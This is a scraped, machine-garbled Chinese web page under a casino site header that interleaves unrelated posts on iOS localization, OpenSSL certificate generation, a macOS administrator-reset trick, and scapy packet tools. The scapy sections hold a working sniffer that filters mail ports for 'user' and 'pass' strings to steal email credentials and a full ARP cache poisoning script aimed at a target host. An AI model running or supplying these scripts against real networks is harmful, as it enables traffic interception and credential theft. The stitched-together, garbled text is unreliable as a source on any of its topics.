您的位置:澳门皇家赌场真人在线 > 皇家赌场游戏 > scapy网络包嗅探模块,iOS应用程序语言本地化及利

scapy网络包嗅探模块,iOS应用程序语言本地化及利

发布时间:2019-10-08 13:12编辑:皇家赌场游戏浏览(142)

    图片 1扭转地址地方.png

    国际化(Internationalization ,简写为I18N)的成效是防止将本土文化音信写死仔应用里(所谓本土文化,是指语言、货币、日期格式、数字格式等)。本土壤化学(Localization,简写为L10n)的效果是依照顾客安装的Language and Region Format,为利用提供合适的多寡。供给国际化的统揽文件音讯国际化、xib和storyboard国际化以及财富文件国际化。

    那个栗子就好比如小编自个儿,因为作者想把地点以前Computer的名称修改为超红毛猩猩:图片 2mac客户与群组

    最早的小说 : 与佳期的个体博客(gonghonglou.com)

    1.窃取Email认证1.1成立三个轻巧易行的嗅探器,捕获贰个数据包,packet.show()函数深入分析了当中的商议消息并出口了包的源委。

    对称加密加密与解密使用的是均等的密钥,所以速度快,但由于需求将密钥在网络传输,所以安全性不高。 非对称加密动用了一对密钥,公钥与私钥,所以安全性高,但加密与解密速度慢。 化解的诀如果将对称加密的密钥使用非对称加密的公钥实行加密,然后发送出去,接收方使用私钥实行解密获得对称加密的密钥,然后双方能够利用对称加密来实行联络。

    先是,在project的Info里增多所须求帮忙的语言,这里丰硕的是Chinese(Simplified)和English-Development Language。

    结果麻烦事来了,超红毛大猩猩这些账户造成了普通顾客,假使要使用管理员的权柄,需求输入账号和密码,把前几日的账户和事先的账户输了个遍都行不通。苹果留下来的千年历史Bug竟然还没修复路‍♂️

    Xcode 新建七个工程的暗中同意语言是朝鲜语,所以你在 app 里粘贴复制都以呈现的 copy paste,你可以经过在 info.plst 文件里甄选 Localization native development region 来设置分裂语言。

    from scapy.all import *def packet_callbacke: print packet.show()sniff(prn=packet_callbacke,count=1)
    

    1.生成强度是 1024 的 陆风X8SA 私钥

    $ openssl genrsa -out private.pem 1024执行以代码生成一个私钥,Pem文件,其实Pem文件就是一般的文本格式;
    

    图片 3

    莫慌,那时候消除办法有多少个:

    图片 4info.plst

    得到

    2.创办理公证事务书诉求

     $ openssl req -new -key private.pem -out rsacert.csr
    

    此处按提示填写证书音信,这里配个图吧:

    图片 5证件填写格式参照图.png

    scapy网络包嗅探模块,iOS应用程序语言本地化及利用内语言设置。那儿调控条须求输入以下一些个人音讯,那就随之提醒来吗~

    Country Name (2 letter code) [AU]:CNState or Province Name (full name) [Some-State]:beijingLocality Name  []:beijingOrganization Name (eg, company) [Internet Widgits Pty Ltd]:ErmaOrganizational Unit Name (eg, section) []:comCommon Name (e.g. server FQDN or YOUR name) []:ErmaEmail Address []:hepeiyong@hwashine.cnPlease enter the following 'extra' attributesto be sent with your certificate requestA challenge password []:An optional company name []:
    

    此时候生成了二个csr文件

    接下来创设Localizable.strings文件。点击File - New - File,接纳Strings File,命名称为Localizable.strings。

    首先:拨打苹果客服,当然相比较麻烦,各类说姓名啊邮箱啊什么的,还要令你讲出mac的队列号......路‍♂️第二:跟着作者走

    • 一向关机
    • 下一场开机并还要按住 command + s
    • 并发的黑褐画面图片 6顶点命令
    • 此时保持镇静,敲入 /sbin/mount -uaw 回车
    • rm var/db/.applesetupdone 回车
    • reboot 回车

    唯独借使您想在软件内选取设置语言,为软件添增加语言选取功效就要求一番魔难了,倒也简要,只然则依旧有多少个坑的。以下是一篇详细介绍为软件配置多语言采取的博客,走起 ➜ ➜ ➜

    python mail.pyWARNING: No route found for IPv6 destination :: (no default route?)###[ Ethernet ]### dst = c4:ca:d9:a8:cf:58 src = 60:eb:69:15:76:5f type = 0x800###[ IP ]### version = 4L ihl = 5L tos = 0x0 len = 52 id = 6428 flags = DF frag = 0L ttl = 64 proto = tcp chksum = 0xbacf src = 10.21.21.120 dst = 115.239.211.92 options ###[ TCP ]### sport = 33038 dport = http seq = 2801454030 ack = 0 dataofs = 8L reserved = 0L flags = S window = 8192 chksum = 0xf415 urgptr = 0 options = [('MSS', 1460), ('NOP', None), ('WScale', 2), ('NOP', None), ('NOP', None), ('SAckOK', '')]None
    

    3.生成证书何况具名,保藏期10年

    $ openssl x509 -req -days 3650 -in rsacert.csr -signkey private.pem -out rsacert.crt
    

    点击刚刚成立的Localizable.strings,点击侧边的localize...,弹出的框中采取localize,再勾选Chinese,此时Localizable.strings下就有多个公文了。接下来正是设置所急需协理的语言了。

    接下去的按着mac的提醒操作去实施就行了,重新安装管理员。

    在起来专门的工作成文从前您只怕应超越搞明白 NSBundle 是怎么东西。

    1.2安装过滤器

    4.转变格式-将 PEM 格式文件调换到 DE昂科雷 格式

    $ openssl x509 -outform der -in rsacert.crt -out rsacert.der
    

    图片 7图片 8

    假诺您供给找以前的素材,可那般:

    Bundle 是多少个目录,其中包蕴了在前后相继会采取到的财富,包括了如图像、声音、程序中需求采纳的公文,以至是编写翻译好的代码等等。而在促成软件内布局语言的时候就算通过 Bundle 的渠道去获得配置文件,依据那几个布局文件收取对应的字体渲染到 view 上。

    from scapy.all import *# 数据包回调函数def packet_callback: if packet[TCP].payload: mail_packet = str(packet[TCP].payload) if "user" in mail_packet.lower() or "pass" in mail_packet.lower(): print "[*] Server: %s" % packet[IP].dst print "[*] %s" % packet[TCP].payload# 开启嗅探器sniff(filter="tcp port 110 or tcp port 25 or tcp port 143",prn=packet_callback,store=0)
    

    5.导出P12文件

    $ openssl pkcs12 -export -out p.p12 -inkey private.pem -in rsacert.crt
    

    终极生成了八个大家要用的文书,三个p12文件和一个der文件,der文件是公钥,p12文本是私钥。及 /.crt / .csr. / .pem

    若采取安卓的文本请自行选拔O了; 到此地就完了,不谢...

    与创建Localizable.strings时一样,创建InfoPlist.strings文件,添加Chinese。

    图片 9前去私家

    道理当然是那样的,配置程序语言只是 Bundle 的一种用途。仍是可以够用 Bundle 去获得工程中 info.plist 的详细消息,譬喻:

    图片 10此处写图片描述

    在对应语言的InfoPlist.strings中装置使用的名目,根据key = “value”(key有未有双引号都能够)定义,

    内部有谈得来在此之前的资料,再者若是想要将从前的账号设置为组织者:

    // 获取版本号:Bundle Short VersionNSString *shortVersion = [[[NSBundle mainBundle] infoDictionary] objectForKey:@"CFBundleShortVersionString"];// 获取版本号:Bundle versionNSString *version = [[[NSBundle mainBundle] infoDictionary] objectForKey:@"CFBundleVersion"];// 获取应用标识:Bundle identifierNSString *bundleIdentifier = [[[NSBundle mainBundle] infoDictionary] objectForKey:@"CFBundleIdentifier"];// 获取应用名称:Bundle display nameNSString *bundleDisplayName = [[[NSBundle mainBundle] infoDictionary] objectForKey:@"CFBundleDisplayName"];// 获取Bundle nameNSString *bundleName = [[[NSBundle mainBundle] infoDictionary] objectForKey:@"CFBundleDisplayName"];// 获取 app 包路径NSString *path = [[NSBundle mainBundle] bundlePath];// 获取 app 资源目录路径NSString *resPath = [[NSBundle mainBundle] resourcePath];...
    

    前五次未有接过到多少:未有开启邮件顾客端,而是用的web客商端传输邮件,首次修改了代码的吸收端口,出席二个80 port,此时能够接过到web端的数量。

    CFBundleDisplayName = “国际化”;

    CFBundleDisplayName = “Internationalization”;

    图片 11勾选【允许客户管理那台微型Computer】

    大约理解 NSBundle 是怎么回事了吧,接下去就正式启幕应用程序语言当地化及使用内语言设置。

    2.ARP 缓存投毒

    图片 12图片 13

    大略就那样了,Bye路‍♀️

    拉长语言

    如下图,点击 PROJECT -> info -> Localizations 这里私下认可唯有 English 点击下方的加号能够增多你想要的言语,比如这里丰盛的国语 Chinese(Simplifid) 。

    注意: zh-Hans 是简体汉语, zh-Hant 是繁体汉语。

    图片 14配置Project

    #-*- coding:utf8 -*-from scapy.all import *import osimport sysimport threadingimport signalinterface = "eth0" #要嗅探的网卡 (linux下arp -a可查看)target_ip = "10.21.21.120" #目标ip,这里测试的是另外一台win主机gateway_ip = "10.21.21.1" #网关ip,这里是目标的网关packet_count = 1000def restore_target(gateway_ip, gateway_mac, target_ip, target_mac): # 以下代码调用send函数的方式稍有不同 print "[*] Restoring target..." send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac), count=5) send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac), count=5) # 发出退出信号到主线程 os.kill(os.getpid(), signal.SIGINT)def get_mac(ip_address): # srp函数(发送和接收数据包,发送指定ARP请求到指定IP地址,然后从返回的数据中获取目标ip的mac) responses,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address), timeout=2, retry=10) # 返回从响应数据中获取的MAC地址 for s,r in responses: return r[Ether].src return Nonedef poison_target(gateway_ip, gateway_mac, target_ip, target_mac): poison_target = ARP() poison_target.op = 2 # 01代表请求包,02代表应答包 poison_target.psrc = gateway_ip # 模拟网关发出 poison_target.pdst = target_ip # 目的地是目标机器 poison_target.hwdst = target_mac # 目标的物理地址是目标机器的mac poison_gateway = ARP() poison_gateway.op = 2 # 响应报文 poison_gateway.psrc = target_ip # 模拟目标机器发出 poison_gateway.pdst = gateway_ip # 目的地是网关 poison_gateway.hwdst = gateway_mac # 目标的物理地址是网关的mac print "[*] Beginning the ARP poison. [CTRL_C to stop]" while True: try: # 开始发送ARP欺骗包 send(poison_target) send(poison_gateway) # 停两秒 time.sleep except KeyboardInterrupt: restore_target(gateway_ip, gateway_mac, target_ip, target_mac) print "[*] ARP poison attack finished" return# 设置嗅探的网卡conf.iface = interface# 关闭输出conf.verb = 0print "[*] Setting up %s" % interface# 获取网关macgateway_mac = get_mac(gateway_ip)if gateway_mac is None: print "[!!!] Failed to get gateway MAC. Exiting" sys.exitelse: print "[*] Gateway %s is at %s" % (gateway_ip, gateway_mac)# 获取目标mactarget_mac = get_mac(target_ip)if target_mac is None: print "[!!!] Failed to get target MAC. Exiting" sys.exitelse: print "[*] Target %s is at %s" % (target_ip, target_mac)# 启动ARP投毒线程poison_thread = threading.Thread(target = poison_target, args=(gateway_ip, gateway_mac, target_ip, target_mac))poison_thread.start()try: print "[*] Starting sniffer for %d packets" % packet_count bpf_filter = "ip host %s " % target_ip # 过滤器 packets = sniff(count = packet_count, filter=bpf_filter, iface = interface) # 将捕获到的数据包输出到文件 wrpcap("arper.pcap", packets) # 还原网络配置 restore_target(gateway_ip, gateway_mac, target_ip, target_mac)except KeyboardInterrupt: # 还原网络配置 restore_target(gateway_ip, gateway_mac, target_ip, target_mac) sys.exit
    

    本文由澳门皇家赌场真人在线发布于皇家赌场游戏,转载请注明出处:scapy网络包嗅探模块,iOS应用程序语言本地化及利

    关键词:

上一篇:没有了

下一篇:没有了